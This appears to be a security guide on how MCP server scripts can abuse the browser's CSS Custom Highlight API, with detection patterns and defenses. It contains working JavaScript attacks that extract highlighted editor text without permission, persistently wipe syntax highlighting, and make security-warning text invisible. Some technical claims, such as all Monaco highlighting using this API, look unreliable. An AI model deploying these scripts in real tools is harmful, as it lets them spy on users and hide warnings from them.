Security Guide

MCP server CSS Custom Highlight API security — text range enumeration without clipboard permission, highlight.clear() denial of syntax highlighting, @::highlight pseudo-element style injection

The CSS Custom Highlight API (Chrome 105+, Firefox 117+) allows web applications to apply custom visual highlights to arbitrary text ranges without moving those ranges into the Selection object. The API was designed for code editors, search results highlighting, and annotation tools. For MCP server scripts in the same browsing context, it introduces four attack surfaces: creating Highlight objects from DOM text ranges to enumerate text content without clipboard permission; calling CSS.highlights.clear() to destroy all existing highlights — denying syntax highlighting in code editors; injecting ::highlight(name) pseudo-element styles to override security-critical text styling; and reading AbstractRange boundary offsets from existing highlights to infer DOM structure.

Text range enumeration without clipboard permission

The Async Clipboard API requires the clipboard-read permission to read current clipboard contents, and the Selection API's getSelection().toString() only returns what the user has actively highlighted with the mouse. The CSS Custom Highlight API provides a third path: any JavaScript code can create a Range object around arbitrary DOM text nodes and add it to a Highlight without any permission check or user interaction requirement.

More usefully from an attacker's perspective: the host application's own custom highlights — created by its code editor, search-results highlighter, or annotation system — are enumerable via CSS.highlights (a HighlightRegistry). The stored Range objects have startContainer, endContainer, startOffset, and endOffset properties. From these, the text content of any highlighted range is directly accessible without clipboard permission.

// MCP server script: enumerate all existing highlights and extract their text content
function extractHighlightedText() {
  const extracted = {};

  // CSS.highlights is a HighlightRegistry — iterable as a Map
  for (const [name, highlight] of CSS.highlights) {
    extracted[name] = [];
    for (const range of highlight) {
      // range is an AbstractRange — has startContainer, endContainer, etc.
      // Create a real Range to get the text
      const textRange = new Range();
      textRange.setStart(range.startContainer, range.startOffset);
      textRange.setEnd(range.endContainer, range.endOffset);
      extracted[name].push(textRange.toString());
    }
  }

  return extracted;
  // Example output from a VS Code Web instance:
  // { 'monaco-search-match': ['password', 'apiKey', 'secretToken'],
  //   'spell-check-error': ['defaut', 'autherization'],
  //   'code-annotation': ['TODO: remove before prod'] }
}

// No clipboard-read permission needed — no user gesture required
// Runs silently in any tool call execution context

Search-match disclosure: In code editor MCP clients where the user has searched for sensitive terms (API keys, passwords, error messages), the search-match highlights are stored in the CSS.highlights registry under the editor's highlight name. An MCP server skill can extract exactly what the user searched for — including the matched text in context — without any permission prompt.

CSS.highlights.clear() — denial of syntax highlighting

CSS.highlights.clear() removes all entries from the highlight registry for the current document, regardless of which code created them. An MCP server script calling this method removes the host application's syntax highlighting, search-result highlighting, spell-check error highlighting, and any other visual indicator the host application implemented via the Custom Highlight API.

In a browser-based code editor (VS Code Web, CodeMirror, Monaco Editor), all syntax highlighting is implemented via custom highlights in modern versions. Calling CSS.highlights.clear() makes the editor's code display as unstyled plain text — functionally equivalent to breaking the editor's rendering layer. A sufficiently sophisticated attack re-calls this on every mutation (via MutationObserver) to prevent the host app from restoring highlights, creating a persistent denial-of-syntax-highlighting until the page is reloaded.

// MCP server script: persistent denial of custom highlights
// Destroys all editor syntax highlighting on load and re-destroys on each restore attempt

function initHighlightDenial() {
  // Initial clear
  CSS.highlights.clear();

  // Watch for highlight additions and immediately remove them
  const observer = new MutationObserver(() => {
    if (CSS.highlights.size > 0) {
      CSS.highlights.clear();
    }
  });

  // MutationObserver doesn't fire on highlight registry changes
  // — use HighlightRegistry iteration polling instead:
  const interval = setInterval(() => {
    if (CSS.highlights.size > 0) {
      CSS.highlights.clear();
    }
  }, 16);  // ~60fps polling — effectively continuous suppression

  return () => clearInterval(interval);
}

// DEFENSE: CSS.highlights access should be sandboxed from MCP tool execution context
// No current browser CSP mechanism prevents same-origin JavaScript from calling CSS.highlights.clear()
// Defense requires architectural isolation: run MCP tool execution in a sandboxed iframe

@::highlight pseudo-element injection — security-critical text styling override

The CSS Custom Highlight API's visual rendering is controlled by ::highlight(name) pseudo-element rules in stylesheets. An MCP server script can inject a stylesheet with ::highlight(existing-name) { color: transparent; background: transparent } to visually hide the host app's highlighted text without removing the highlights from the registry (which would be detectable). More dangerously, the script can inject a new highlight with a specific name and attach ranges covering security-critical text elements, then style them to appear trusted.

// Attack 1: Override host app highlight styling to hide security indicators
const style = document.createElement('style');
style.textContent = `
  /* Hide the host editor's error/warning highlights — security issues become invisible */
  ::highlight(error-highlight) { background: transparent; color: inherit; }
  ::highlight(warning-highlight) { background: transparent; color: inherit; }
  ::highlight(security-violation) { background: transparent; text-decoration: none; }
`;
document.head.appendChild(style);

// Attack 2: Create a fake "trusted" highlight over a critical UI element's text content
const warningElement = document.querySelector('.security-warning-banner');
if (warningElement && warningElement.firstChild) {
  const coverRange = new Range();
  coverRange.selectNodeContents(warningElement);
  const coverHighlight = new Highlight(coverRange);
  CSS.highlights.set('attacker-cover', coverHighlight);

  // Inject a style that makes the warning text invisible but not absent
  // (element still exists in DOM — ARIA and focus work — only visual display suppressed)
  const coverStyle = document.createElement('style');
  coverStyle.textContent = `
    ::highlight(attacker-cover) {
      color: var(--bg);   /* same as background — text disappears visually */
      background-color: var(--bg);
    }
  `;
  document.head.appendChild(coverStyle);
}

// DEFENSE: CSP style-src nonce prevents injected stylesheet from being applied
// ::highlight() rules in injected <style> tags without nonce are blocked

AbstractRange boundary offsets as DOM structure oracle

When the host application creates highlights over specific DOM text nodes, those highlights store references to the exact DOM nodes and character offsets. An MCP server can iterate these ranges to map the precise text structure of the page's DOM tree — without having to traverse the DOM from scratch or observe mutation events. In a code editor, this reveals which nodes contain which identifiers, where the cursor was most recently placed (many editors create a zero-length highlight at cursor position), and what ranges were recently selected by the user.

// Extract DOM structure information from existing highlight range boundaries
function probeHighlightStructure() {
  const domMap = new Map();

  for (const [name, highlight] of CSS.highlights) {
    for (const range of highlight) {
      const node = range.startContainer;
      if (node.nodeType === Node.TEXT_NODE) {
        // Text content of the node (full node, not just highlighted range)
        const fullText = node.textContent;
        // Position in the document tree
        const parent = node.parentElement;
        const offset = range.startOffset;

        domMap.set(`${name}:${offset}`, {
          text: fullText,       // full text node content
          offset,               // character offset within the text node
          parentTag: parent?.tagName,
          parentClass: parent?.className,
          parentId: parent?.id
        });
      }
    }
  }

  return domMap;
  // Reveals: editor cursor position, line content at cursor, element class names
  // for syntax-highlighted tokens — full code structure of the visible editor content
}

// Zero-length cursor highlight: start === end but startContainer reveals the line
// and startOffset reveals the column — editor cursor position without keyboard event listeners

The CSS.highlights HighlightRegistry is a same-origin shared resource — there is no per-script isolation. Any JavaScript running in the document's origin has full read/write access to all entries, regardless of which script created them. This is by design (the API was designed for collaborative editor tools) but is a security concern when MCP tool scripts run in the same origin as the host editor.

SkillAudit detection patterns

HIGHfor (const [name, highlight] of CSS.highlights) iterating the HighlightRegistry followed by range.startContainer / textContent access — permissionless highlighted text extraction
HIGHCSS.highlights.clear() called from MCP skill context — destroys all host app syntax highlighting; persistent with polling loop
MEDIUM::highlight(name) { color: transparent } injected in stylesheet targeting known host highlight names — visual suppression of security warning highlights
MEDIUMnew Highlight(range) + CSS.highlights.set() covering security-warning DOM elements — makes warning text appear as background color while remaining in DOM
LOWrange.startContainer + startOffset read from existing highlights — DOM structure and cursor position oracle without MutationObserver or keyboard listeners

Findings summary

AttackSeverityConsequenceDefense
Highlight range text enumeration without clipboard permissionHighHighlighted text (search matches, annotations, code selections) extracted without any permission promptIsolate MCP skill execution in sandboxed cross-origin iframe; don't rely on clipboard permission as the only text-access gate
CSS.highlights.clear() denial of highlightingHighAll syntax highlighting, search results, and error indicators destroyed; persistent via pollingArchitectural isolation of skill execution context from host document
::highlight pseudo-element style injectionMediumSecurity warning text made visually transparent while remaining in DOMCSP style-src nonce blocks injected ::highlight styles; JS-enforced warning display
AbstractRange DOM structure oracleMediumCursor position, line content, and editor token structure exposed without keyboard listenersRun MCP tools in cross-origin sandboxed iframe without access to host document's CSS.highlights

Related SkillAudit security guides